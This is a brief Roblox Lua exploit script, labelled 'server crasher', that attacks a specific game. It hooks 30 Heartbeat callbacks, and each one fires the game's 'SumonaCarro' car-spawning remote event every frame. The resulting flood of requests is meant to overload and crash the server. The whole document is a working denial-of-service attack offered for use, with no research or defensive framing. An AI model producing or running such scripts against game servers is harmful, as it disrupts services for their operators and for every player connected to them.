-- @build-failed -- server crasher local getservice = game.GetService local players, runservice = getservice(game, "Players"), getservice(game, "RunService") local localplayer = players.LocalPlayer local localplayername = localplayer.Name local args = { "Twin", localplayername.."sCarRace" } local SumonaCarroEvent = game:GetService("ReplicatedStorage"):WaitForChild("SumonaCarro") for i = 1, 30 do runservice.Heartbeat:Connect(function() SumonaCarroEvent:FireServer(unpack(args)) end) end